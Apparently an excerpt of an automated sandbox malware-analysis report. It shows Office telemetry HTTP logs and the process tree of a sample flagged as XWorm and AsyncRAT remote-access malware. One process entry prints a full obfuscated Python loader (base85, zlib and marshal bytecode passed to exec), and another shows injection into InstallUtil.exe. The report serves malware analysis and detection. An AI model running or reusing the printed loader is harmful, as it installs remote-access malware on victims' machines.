2024-12-06 14:53:36 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:36 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: d3851fcf-901e-007b-6bcc-45ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145336Z-1746fd949bddgsvjhC1EWRum2c00000004g000000000pe1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:36 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:36 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:37 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:37 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 40959acf-a01e-0084-2178-479ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145337Z-1746fd949bd5gpk5hC1EWR8dk400000001wg00000000k179 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:37 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:37 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:37 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:37 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 1a277fad-001e-0049-44d3-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145337Z-1746fd949bdzd2qvhC1EWRcygw000000041g00000000f66f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:37 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:37 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 0eb19fec-c01e-0034-515c-472af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145338Z-1746fd949bdw2rg8hC1EWR11u400000004hg00000000k0ck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:38 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:38 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: 2f27c457-801e-0078-5cd4-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145338Z-1746fd949bdhk6hphC1EWRaw3c000000044g00000000at7y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Target ID:	0
Start time:	09:52:26
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\vUlh7stUHJ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\vUlh7stUHJ.exe"
Imagebase:	0x7ff7fa7d0000
File size:	71'253'576 bytes
MD5 hash:	D57ADB24B010D644315933E7030CBDBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:52:26
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	09:52:28
Start date:	06/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /C start C:\Users\user\AppData\Roaming\marke.mp4
Imagebase:	0x7ff732680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	09:52:29
Start date:	06/12/2024
Path:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe" -ServerName:Microsoft.ZuneVideo.AppX758ya5sqdjd98rx6z7g95nw6jy7bqx9y.mca
Imagebase:	0x7ff652890000
File size:	25'966'080 bytes
MD5 hash:	FE340ECB1D09B5BAA66DFE25AF11654F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	14
Start time:	09:52:58
Start date:	06/12/2024
Path:	C:\recover\pw\pw.exe
Wow64 process (32bit):	true
Commandline:	"C:/recover/pw/pw.exe" -c exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode('c$\|ee>>VcmTX?q>0Byn&8+IKa(iiGw{s)`PJFxr5+FbrEg^_AZKtG=5okdOVHRVWY6h-nTPp<s>l9\|`GWZX{-Azgo+czaJFD}YnSrCYHzIB<ca4avMLzo_@OOs4ffJ2HPy\|J-2z-E17!6?z#zGi}@en3pB7_TYA%u%?F@#HSDTK>#IfPH(lMt@Jl@LCKPeZs0S3~#=KEp6(J-1)L7tvtNxD~Ts!j~bQu)eTg!B_T\|@XN5iV0~qO4ZjZYMe7^;Tlj5=FInH&ui<O^4SZvN55EuFmaQM`-@)I7_!H~_K)z#5MQx=ve)36{Rj95dmXOZ8szkgqvaCQ)\|oqBmASi4Y%ziOyagxeFr_$cdirYIePJz1l&b0(HDP-z(1i^=t~Uu&{ybd4Bw(}(6<==3;GVd#olsKfgq8eu+X7eUE;?EtF26-\|6Is7)<Gup862QvqyzU^7p?68sL)A`4^g}E53fE^&Cgn{7%oojZf75G}5&m(vz`yVqhrb{Hd#&=$g7RY(>Kqi3`OyFkE~ji_hcdv@lN;XdyLUxv1m?@~VDLUtp3rFPvlWD(_8PUvgZp=i`M6imxOW=8L0_gDhlpiVsfdj9p}ZiY@LnD$B?USI3pe97%~93LZ3<ub=eTwZKl(0I-f?Ved^94CyI_KvJsmzJ<m4\|^7UmwgDJ>4IAju!om#&qUfBC@lR&e1evZx}zhJTaJ<0\|APOXkQUkMnqT~8kjl2Pv~O!xPQ_Zox$UOpQ5UdL&lc;DgbvtXJSE>@ypU5ou@ttI>\|e_ZRo!nOP;ihjWVyBLby#oLj)#6wFV^5-A#7H08TY_{+^@@-@moh\|sW8SeQe64VifcR_Fbb>x9277O4}P>UZ$`p;1;5xHByG!Z=4+q=ct0XJ5`^~)n-#oL#&+yfEcVd%K=&}}b>tjNDH`dg{lqNsAuyu^_iG?eFW~jpK(JV&39B>k=L??VwDo!1(w+ID;<~zn0v%(eB$wt1gq1&!oBCuP73R_IJl-4n^Jr(D&<w>3rTkF5!Nol8Y3Ub%0E60UG=cxCv7e$pM3<w>vDN6y=$q&U#=Yd{(qDM\|Lg}YF$=@Xzr\|ih?qV3nK_<lGexw_nMRAF_MzMd7-z7pR!~>g1#<^c#2AoCb3r^3`^kl+Y3bCxqxo{JUZAh&^X7aB+e={J$p!BZ!PeJ<VmBaM(K@c7d%iyQ=Zg>c=PW)\|^ug8R1V0A5T@G1YjlPOvvm!rdEcO^Z;~%BsNB$bQ#%6?Ke_8giF$d-p7+JXef3p7gqg8$x4Bfy8%yQS&;K=chb?jz`&%TC!`~tw9`env3^W=eUjcU~AaxVs8oWkHNO1>ffUejDBKe<tWg9;5sLpA6;W3GW~Yk^WGj=Jx#F&CvQK\|BxBxMFzku$3~k-RzK>fz2{4>D{mB&YEE^wZeG~QGeJ+{!Z&m0(YgH?R%Y}U{0~_CIq~4^-Z!DWdQXDc{}dD};r=_e+w=S@Y@FWPkl%1SIR1H^n;<j=R=eU2l&k+ml\|k2\|Dgz-60!6(H)Oh&$W}iiV6N#pgPm$;@hCM%qV+6Lre^_h+;~y<{!H>@pI5xzvmj_2+ENorEcnrlud>P\|$lnC)Bk2cBPcZe0zc5>wEo1Ddzc_n3Tf4tY!#cy0_S}n@URnj@=rlQ1k5kZ7gc4T@2ByRkj^A`Y_Ce+=P}HDj{^f<g@vg0d+QWr8@y7x(XfrMIe&jitok8$oi4uIi?Q;_Obp&Fyd2NFy>j{BL8Tbui`1xj`P^LghRvwf(_&W3CP27LCdFc&jQL%)#s0zdR+K(Wj;41s@Fju^%)3f5OBW\|TgEYHHM$ZHoHT&JKN0h4xKsI0?7dZi@T&ru=Ox67otzMbX#Ir7MP603%M!}Oh2S)xSSwaj7BqT!(?&-!Q~_g<Z3dR23?kHHC;\|AF#wUkhjykbo9PViSagLN4\|oq8nWcI%=%%wMj`%XX<j=QwwY_ZjEJMNXq>$pT=YUL2=1k;QX!4XF!?b&$&_UC^i!mR+T\|6rVDQ7T{Z4f#DUJt?(u2)ktojqyR5ChAedav~Efj8KAtzuskp3T(GDUu0!yBAYY)fkZManxeAqSPi\|Pk<erZttOY(^9SR4;hYk?$c8Dl!8_(y1Xf<Qa<wYi$Vel%#L0{xF}aCW(lRYF2U=6BtT{}+MfE7&Bn`dWN};^pln8?mi-WXCv<SY7Xx@UnC}jk$YvdcE(d7zONtgUe!$gI=4GW^2zTp{O;JaL^C1lf$X^YZL1UcHW)h>M_SX@&tjxr6YeN#=Hk9gbi0cE9mi<RVVj\|hyR;FBCV{%p_#axJVyMkp2ozsYi@w7FnpAAd5Ny8>Fu%GD#D;k=5G{7fTf8CxX)Koz%hL?skl36`Sowy8dNqJ5f^;zAY-!RUp{<QvTLOTsF$Te#%v1x`1X?^%vv{vUv~Ls&W%!~\|l^jlyD7U7Gz^()KLN^a6v00\|%66YYm0G=54>msby3LKUp2lD19RiSuC07go17?~q9LM^eRK#yICAakO{b=4^)k5xq7h#brvCZn_zyhL~#$%Y8l!1cHw^~?pfMg3biB$mEtH@1YhQ{9>2X;ul+!K8;iCaWI9t8K#t)}APE%H2aJ(wb+V(HgT\|uFR$FqW)F1$bOs>wG?f^<gy=5{JPy\|yfgSsTqX;oy0I&DmO$%48KWkjJVZ<AF`<nxf>%19cdI3m;FNYF)HtFGYjb<wCo!gaW5dn$JMsnlfm715a1OmmvIT}K9-iySc2WY`7tnB_?XTBJ$vDVS1C&Jpc{8l;(Ky;++=hY>_uB1OD+v56WW)gvpZTpl`nN3fv6Q@kuowMv~HkGKMuC<N!ok?J0<urRR;R~2Qf@^A1&ev%uX;j;jZKJP{uwS9lo-DDVLXjn@nd4vy>yk1GxP8hM$+FaT71_4xyoB3=;H$VzefzNERw+AlHQ=mx9D-1WBVKTbv-5+&(Ju8I^J;Jg}+&`$0?M@g%6H+nK6l^Ch0<yu8yO5s\|TFnw%&SM~X!Y>rxv_l0Oj`x5KZl4-fB`XD\|G$8>Nf+^x)lN;427w_3k@gnjRlPo~eVj5!G69~G}AQ__8WvaZzw73#itr2ivBoW)P%2d6;_<}sHa3ZRTB}U\|B-;zr?50dOiuy`L43\|(j3u0{hKr(j+ywx=qQ9r5QbEty6Ml(Y#TtynzPy{l{X\|_=k0i;xd%qx^ea+KSL1@W^_=zOK0gw)q8f9Im4jAwN04W7rNM{V8%hWa7?dH4KcDp<co2`j#voe3Bjw__!aF!VNJx>2T&rHlbv58BHLpia;5;JK(\|a@%^xt>PHaVlQ<-sX%>nyZj3F{DwSz2$4Qxe{OS^04gz_$2~OeXDoFQT\|k<5v2sSP~uA#d\|`5ovOvLsMzL2Vj9>+NfY}\|g~MyhG(SRed4fi6QKLXcYq\|{}`+d1&kf4~IDxHIrKxJGh<tn<(<P`=QDxGn0%#vDNkQRv6l$R~OX5yGFvUyc1Pld@KBXq5)M7X8AV`jvZF;?jsQK7hEgRmg586MazN+p?U!$v$`l1M08RLdOqbjFxKn(a2k+!&I~NF#``E\|I2C08nulm>VY+H^$)wJ\|9ADS<Yqnq%dpt}zDY;6^aHh6oG^w+W(zW0r(%yxSnPj$eQlkZTj4Xqj%eMvwivlxgyXTuzk_Jl$rSwMH+a)650-eG)ouO)$+HmBe;STB#Osfa?ciq031Po2OMOGvsXF7Npv=Wpa5%hJ4L7G6Fz8UZaQzh+{n9G?}dDP1Mnu9D!{=k9ne@gt+W&pO(;kZ49\|rSMvyJ;gD$ieny>WDZIM!-z#g<SEn_i~K$)SwkGZtGr}PY9%CtlvJsSOhFMFo?@zzQ{4U$c$SP->Q{>0qi!(SveaKJwmoQ9(1\|B3L0t9v>=Y7eYIfF5}m0xaGaAFw%KTMP%M&^c#eIu#3{PT-GCD6s}9fO^TMlH$Zw@`RZw7Mu3%~f;Pc+;WcC<#Yt`-6d?rN+(0k&Quuw{<YevOqS1S}b4Z}h=l`!e$?@?&JsK7s-y7jYmBK}E5w#+B(GUi=>gdn0@ZyRemchfxPke~{5(}PDA0k1H179#>T=+`F55y%~@dk#1-~9f>#gFs_tEZsBe3cnGVg5nHt@EX})l>0XA-Mpb2hYZ<@Kqn)(YWAxRuAvmVPjA2>Y5K%^\|7W8G37O$=ktr)qBnFL-79>2TLl;L=fS013@&Vc#SCg2XUP_MU1{$(z{%`<?~FTH<BPg1%UtQ8w>c%nPO`F7CXds{$^iL?mNU-jQdfDuP7eC(w{HI8UAb{B;MktoKr=<bhDE^Ub7t0@5&vjQKHlI?XlO+kGB=-UB;MJGnIXBSUoM$w>ORI?RXQP)^~KL+GIN-Ctc{ucxQw1F4;q~b97(bIeQP@ukRlZ_tu)@d~%Y^n8sQCqMCiT!OScoS-sr8mKgm&=p4K\|RLfrfR%rqx)~\|T3GQG<b%U0Q;+s#{_KyB^Dm\|mA}2Dg^6cMU7jFjFs\|wA}04PRS!Tw;P>VU%V+$?E50%b2JpQWnf)2)bWTksCT=AoiiHBM_XEEn_8z?=JPrBD=d^INz?_A00KD8xvH^Tc_RA<k36&m{>P%vlF{-WP<kqtTdW_d#~->9lu%uB%tO8UN;-U#m9@d2v&?NuE<^&oOVE^9e~?@5YAhg2^B`6`{_Q_f^NbKNz)bEe!%buTj$kn^~k@w~OE#>xzza4EIUepe9+k15{dClYp)+H(Db+B8X_Gj(m-D4+fb~}S(tGwx_ggm}C;}F{R-VK4@~3mtUTUrfbH#M3J(0^J1W&Y9gVh!@V$iwD1TohE-tq>hsKTWbuZ5)RUQ?OuMRl0HLMnj<n>8<dZrGDgJ~~SrgzfS;kKl2()awj%AR!!JJs!b6<u#Cn?9=z`OY59U0u\|QIpkgK?AN@(@%7#~dsi{m8^TMmy4`WQztv;TJ`<?)op$4{kY5Rc85FLTiHXCEvkig>wPIXD)5%?<kreAB91Pn{hf}k@l{c_F6@@B9-MO-cT18Eb36XtVT#zSSBK)@sH&2)p(`KDz_a_AR)+N}Gthh\|=yyft=Axx-$Zn0U9d{4!%A&}skhmbGW8X_@>ub&46x2@Et4yP`cJ3c-qS-F?+<R?n{Z!cZTJMj;h5CGa5KB56xpNR{?%bol26MgS?25%5nGL&Qc\|nc+hW1ti7GhRxX{kdPWaaGk$!YL>BII-fz3\|dQ}raTRtK58k>9>_H+gR3x+ZKlbTyS-YqmPawzN\|}D8a4FTYcUT<XF_MIje)81^Wvpu2L&$t8NzHeOLUG5L3Lu+lfdRs_c37e-kH\|mv$)YF@KZE{_ZS{ugwy0q!-Z)H<w`I~I^J!Ov(a`$?pvC(A#~qf>uetZV%XMLRa@jc&o4bRfnUTF~U)E}e8\|Ddg(wl\|jop<}&wBWR^RkDTtM%QTd`VS=UGMZVZI#~N^=_4QVHeg?RXCiOW#ROwE!-Vgx3{??e{{chnJyOmv$5LWYfEh;U4S_jSaenk90+;XqWk{DW}%Q-01#TwwShb{1HccaPqcJEv{!thZh2T~ntQvU+f55a{r<PF^2%dlxydwU<ktTF2GHZ2Fe+hwJO7h2Hta&1nVg3Widu>&NQkNFx\|%4\|~PC&f!MsezKooOOU7-bYtUwj~?f<X>ph>Ii-vHTv^WbXA<_9$+cBo>uIi!My>7Bn^C3HD\|xp}L-XF3io$-m!WVP9x2?+NcIv6N+0`Zl9Nv=hif~Bm2B~3GCIunsKWl<@QM`+TW;3g$!4bG9q(p)C+qshbTU1U^#(A}9rPUU1P5ohH0WC$Ur)isfid(u7F_o9{!kzIm?}6V<}pu)OVf^f-Ldp}tkZ+b_?XcBj;+rVLAH9nG8n3^VFXD!233s^2tb72R+TyeJ?oXyjZx7p$rVGqk2I~#!G}vuHuJH!2t-rb0^BcA>Rgvj`kMm-rL7~h_@IVG0(#McJFQeAuSXn}UMW2@_27myf{L)GeN6@3zBo8Zc<D{rCx!^qw4=OD@6us48WRM{8o(Dyc\|MY@1BzBe@D>kzp!_1}dKDBwPA\|-+J!EK-\|D2%-6E;D9!aE3x;NY7l!u@\|bD?c5W%SUz(4K4j75YQk<e7Ipk@@1Is_$n-a!0=UUIkx<Ad0{!e9AA0899>yhjr\|WeX=~>'))))
Imagebase:	0x3c0000
File size:	100'120 bytes
MD5 hash:	8AD6C16026FF6C01453D5FA392C14CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	15
Start time:	09:53:14
Start date:	06/12/2024
Path:	C:\recover\olx.exe
Wow64 process (32bit):	false
Commandline:	"C:\recover\olx.exe"
Imagebase:	0x7ff7769c0000
File size:	40'432 bytes
MD5 hash:	8AEE66FE642D154F32E5AFF380DA188B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000F.00000002.1888895593.0000020A7EC37000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000F.00000002.1888895593.0000020A7EC37000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	16
Start time:	09:53:14
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	17
Start time:	09:53:15
Start date:	06/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	18
Start time:	09:53:15
Start date:	06/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Imagebase:	0x730000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000012.00000002.2637359292.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	21
Start time:	09:53:15
Start date:	06/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7504 -s 576
Imagebase:	0x7ff6fa230000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
